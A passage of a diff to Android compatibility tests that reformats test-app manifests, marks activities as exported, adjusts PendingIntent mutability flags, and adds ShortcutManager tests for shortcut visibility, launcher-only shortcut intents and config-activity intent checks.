-        <activity android:name=".LabelTestActivity" android:label="Activity If">
+        <activity android:name=".LabelTestActivity"
+             android:label="Activity If"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter android:label="IntentFilter If">
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
         </activity>
@@ -38,4 +40,3 @@
     </application>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index 5785c7f..c2af67a 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -217,7 +217,7 @@
             showsApplicationLabel();
             showsAppAndActivityLabel();
             showsAppAndIntentFilterLabel();
-            isChooserTargetServiceDirectShareEnabled();
+            isChooserTargetServiceDirectShareDisabled();
 
             // Must be run last, partial completion closes the Sharesheet
             firesIntentSenderWithExtraChosenComponent();
@@ -410,19 +410,16 @@
     /**
      * Tests API behavior compliance for ChooserTargetService
      */
-    public void isChooserTargetServiceDirectShareEnabled() {
+    public void isChooserTargetServiceDirectShareDisabled() {
         // ChooserTargets can take time to load. To account for this:
         // * All non-test ChooserTargetServices shouldn't be loaded because of blacklist
         // * waitAndAssert operations have lengthy timeout periods
         // * Last time to run in suite so prior operations reduce wait time
 
-        if (mActivityManager.isLowRamDevice()) {
-            // Ensure direct share is disabled on low ram devices
-            waitAndAssertNoTextContains(mChooserTargetServiceLabel);
-        } else {
-            // Ensure direct share is enabled
-            waitAndAssertTextContains(mChooserTargetServiceLabel);
-        }
+
+    	// ChooserTargetService was deprecated as of API level 30, results should not
+    	// appear in the list of results.
+    	waitAndAssertNoTextContains(mChooserTargetServiceLabel);
     }
 
     /**
@@ -538,7 +535,7 @@
                 mContext,
                 9384 /* number not relevant */ ,
                 new Intent(ACTION_INTENT_SENDER_FIRED_ON_CLICK),
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Intent shareIntent = Intent.createChooser(intent, null, pi.getIntentSender());
 
diff --git a/tests/tests/shortcutmanager/AndroidManifest.xml b/tests/tests/shortcutmanager/AndroidManifest.xml
index 29b2e83..05e6ef7 100755
--- a/tests/tests/shortcutmanager/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/AndroidManifest.xml
@@ -13,54 +13,57 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager"
-    android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager"
+     android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.content.pm.cts.shortcutmanager.MyActivity" />
+        <activity android:name="android.content.pm.cts.shortcutmanager.MyActivity"/>
 
         <activity-alias android:name="non_main"
-            android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity" >
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
         </activity-alias>
         <activity-alias android:name="disabled_main"
-            android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
-            android:enabled="false">
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
         <activity-alias android:name="main"
-            android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="main_shortcut_config"
-                        android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity">
+             android:targetActivity="android.content.pm.cts.shortcutmanager.MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.CREATE_SHORTCUT" />
+                <action android:name="android.intent.action.CREATE_SHORTCUT"/>
             </intent-filter>
         </activity-alias>
 
         <!-- It's not exporeted, but should still be launchable. -->
         <activity android:name="android.content.pm.cts.shortcutmanager.ShortcutLaunchedActivity"
-            android:exported="false"/>
+             android:exported="false"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.content.pm.cts.shortcutmanager"
-        android:label="CTS tests for ShortcutManager">
+         android:targetPackage="android.content.pm.cts.shortcutmanager"
+         android:label="CTS tests for ShortcutManager">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
index ec688fe..4b7dcd9 100755
--- a/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/AndroidManifest.xml
@@ -16,40 +16,43 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages"
-    android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages"
+     android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="Launcher">
+        <activity android:name="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
         <activity-alias android:name="Launcher2"
-                android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity-alias>
         <activity-alias android:name="Launcher3"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity-alias>
-        <activity android:name="ShortcutConfirmPin">
+        <activity android:name="ShortcutConfirmPin"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml
index 90d0df5..72f7bd4 100755
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/AndroidManifest.xml
@@ -16,18 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="Launcher">
+        <activity android:name="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml
index a5a0060..0baaaab 100755
--- a/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/AndroidManifest.xml
@@ -16,143 +16,166 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages"
-    android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages"
+     android:sharedUserId="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="Launcher"
-            android:enabled="true">
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
 
         <activity-alias android:name="Launcher2"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher3"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher4"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher5"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher_no_main_1"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher_no_main_2"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_1"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts1"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts1"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_2"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts2"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts2"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_3"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts3"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts3"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_4a"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts4a"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts4a"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_4b"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts4b"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcuts4b"/>
         </activity-alias>
 
         <activity-alias android:name="Launcher_manifest_error_1"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcut_error_1"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcut_error_1"/>
         </activity-alias>
         <activity-alias android:name="Launcher_manifest_error_2"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcut_error_2"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcut_error_2"/>
         </activity-alias>
         <activity-alias android:name="Launcher_manifest_error_3"
-            android:enabled="false"
-            android:targetActivity="Launcher">
+             android:enabled="false"
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcut_error_3"/>
+            <meta-data android:name="android.app.shortcuts"
+                 android:resource="@xml/shortcut_error_3"/>
         </activity-alias>
     </application>
 </manifest>
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
index cd30602..65271c1 100755
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/AndroidManifest.xml
@@ -16,21 +16,23 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.pm.cts.shortcutmanager.packages">
+     package="android.content.pm.cts.shortcutmanager.packages">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="Launcher" android:enabled="true" android:exported="false">
+        <activity android:name="Launcher"
+             android:enabled="true"
+             android:exported="false">
         </activity>
 
         <activity-alias android:name="HomeActivity"
-            android:targetActivity="Launcher">
+             android:targetActivity="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity-alias>
     </application>
 </manifest>
-
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index b053abb..a1475ff 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -24,14 +24,22 @@
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.set;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
 
+import android.app.PendingIntent;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchSpec;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
+import android.content.pm.Signature;
 import android.graphics.BitmapFactory;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.util.ArraySet;
 
 import com.android.compatibility.common.util.CddTest;
 
@@ -41,6 +49,13 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
 
 /**
  * Tests for {@link ShortcutManager} and {@link ShortcutInfo}.
@@ -1413,6 +1428,62 @@
         });
     }
 
+    public void testUpdateShortcutVisibility_GrantShortcutAccess() throws Exception {
+        final List<byte[]> certs = new ArrayList<>(1);
+
+        // retrieve cert from package1
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            try {
+                final PackageManager pm = mPackageContext1.getPackageManager();
+                final String pkgName = mPackageContext1.getPackageName();
+                PackageInfo packageInfo = pm.getPackageInfo(pkgName, PackageManager.GET_SIGNATURES);
+                for (Signature signature : packageInfo.signatures) {
+                    MessageDigest sha256 = MessageDigest.getInstance("SHA-256");
+                    certs.add(sha256.digest(signature.toByteArray()));
+                }
+            } catch (PackageManager.NameNotFoundException | NoSuchAlgorithmException e) {
+            }
+        });
+
+        // Push shortcuts for package2 and make them visible to package1
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
+            final ShortcutManager manager = getManager();
+            for (byte[] cert : certs) {
+                manager.updateShortcutVisibility(mPackageContext1.getPackageName(), cert, true);
+            }
+            assertTrue(manager.setDynamicShortcuts(list(
+                    makeShortcut("s1", "1a"),
+                    makeShortcut("s2", "2a"),
+                    makeShortcut("s3", "3a"))));
+        });
+
+        // Verify package1 can see these shortcuts
+        final Executor executor = Executors.newSingleThreadExecutor();
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            final AppSearchManager apm = mPackageContext1.getSystemService(
+                    AppSearchManager.class);
+            apm.createGlobalSearchSession(executor, res -> {
+                        assertTrue(res.getErrorMessage(), res.isSuccess());
+                        res.getResultValue().search("", new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build()
+                        ).getNextPage(executor, page -> {
+                            assertTrue(page.getErrorMessage(), page.isSuccess());
+                            final List<SearchResult> results = page.getResultValue();
+                            final Set<String> shortcuts =
+                                    new ArraySet<>(results.size());
+                            for (SearchResult result : results) {
+                                shortcuts.add(result.getGenericDocument().getUri());
+                            }
+                            final Set<String> expected = new ArraySet<>(3);
+                            expected.add("s1");
+                            expected.add("s2");
+                            expected.add("s3");
+                            assertEquals("Unexpected results", expected, shortcuts);
+                        });
+                    });
+        });
+    }
+
     public void testDisableAndEnableShortcut() {
         runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
@@ -2172,6 +2243,47 @@
         }
     }
 
+    public void testGetShortcutIntent_ReturnPendingIntentForLauncher() throws Exception {
+        // Create s1 as a floating pinned shortcut.
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            assertTrue(getManager().setDynamicShortcuts(list(
+                    makeShortcut("s1"))));
+            getManager().updateShortcutVisibility(
+                    mPackageContext2.getPackageName(), new byte[] {100}, true);
+        });
+
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
+            final PendingIntent intent = getLauncherApps().getShortcutIntent(
+                    mPackageContext1.getPackageName(), "s1", null, getUserHandle());
+            assertNotNull(intent);
+            assertFalse(intent.isImmutable());
+            assertEquals(mPackageContext1.getPackageName(), intent.getCreatorPackage());
+            assertEquals(getUserHandle(), intent.getCreatorUserHandle());
+        });
+    }
+
+    public void testGetShortcutIntent_ThrowsSecurityExceptionForNonLauncher() throws Exception {
+        // Create s1 as a floating pinned shortcut.
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
+            assertTrue(getManager().setDynamicShortcuts(list(makeShortcut("s1"))));
+        });
+
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
+            boolean securityExceptionThrown = false;
+            try {
+                getLauncherApps().getShortcutIntent(
+                        mPackageContext1.getPackageName(), "s1", null, getUserHandle());
+            } catch (SecurityException e) {
+                securityExceptionThrown = true;
+            }
+            assertTrue(securityExceptionThrown);
+        });
+    }
+
     // TODO Test auto rank adjustment.
     // TODO Test save & load.
 }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
index cc8df51..5947c39 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
@@ -17,8 +17,12 @@
 
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.*;
 
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.spy;
+
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.content.ComponentName;
 import android.content.Intent;
 import android.content.IntentSender;
 import android.content.pm.LauncherActivityInfo;
@@ -58,6 +62,22 @@
         });
     }
 
+    public void testIntentSenderNotCreatedForWrongActivity() throws Throwable {
+        setDefaultLauncher(getInstrumentation(), mLauncherContext1);
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
+            LauncherActivityInfo originalLai = getConfigActivity();
+            assertNotNull(originalLai);
+
+            LauncherActivityInfo lai = spy(originalLai);
+            assertNotNull(lai);
+            doReturn(new ComponentName(getTestContext(), MyActivity.class))
+                    .when(lai).getComponentName();
+            doReturn(originalLai.getUser()).when(lai).getUser();
+
+            assertNull(getLauncherApps().getShortcutConfigActivityIntent(lai));
+        });
+    }
+
     public void testCorrectIntentSenderCreated() throws Throwable {
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
         final AtomicReference<IntentSender> sender = new AtomicReference<>();
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
index b1c21a6..811966b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
@@ -41,7 +41,7 @@
         final PendingIntent receiverIntent =
                 PendingIntent.getBroadcast(context, 0,
                         new Intent().setComponent(new ComponentName(context, InlineReply.class)),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput ri = new RemoteInput.Builder("result").setLabel("Remote input").build();
 
         final Notification.Builder nb = new Builder(context)
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
index 348c7b4..6a831b6 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
@@ -15,16 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.simpleperf.debuggable">
+     package="com.android.simpleperf.debuggable">
 
     <application android:debuggable="true">
-        <activity
-            android:label="simpleperf"
-            android:name="com.android.simpleperf.debuggable.MainActivity">
+        <activity android:label="simpleperf"
+             android:name="com.android.simpleperf.debuggable.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
index d87d10e..a8ff37b 100644
--- a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
@@ -15,16 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.simpleperf.profileable">
+     package="com.android.simpleperf.profileable">
 
     <application>
-        <profileable android:shell="true" />
-        <activity
-            android:label="simpleperf"
-            android:name="com.android.simpleperf.profileable.MainActivity">
+        <profileable android:shell="true"/>
+        <activity android:label="simpleperf"
+             android:name="com.android.simpleperf.profileable.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 3ad16fb..668ae0a 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -16,43 +16,44 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.slice.cts">
+     package="android.slice.cts">
 
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:supportsRtl="true"
-                android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:supportsRtl="true"
+         android:debuggable="true">
+        <uses-library android:name="android.test.runner"/>
 
         <provider android:name=".SliceProvider"
-                  android:authorities="android.slice.cts"
-                  android:process=":slice_process" />
+             android:authorities="android.slice.cts"
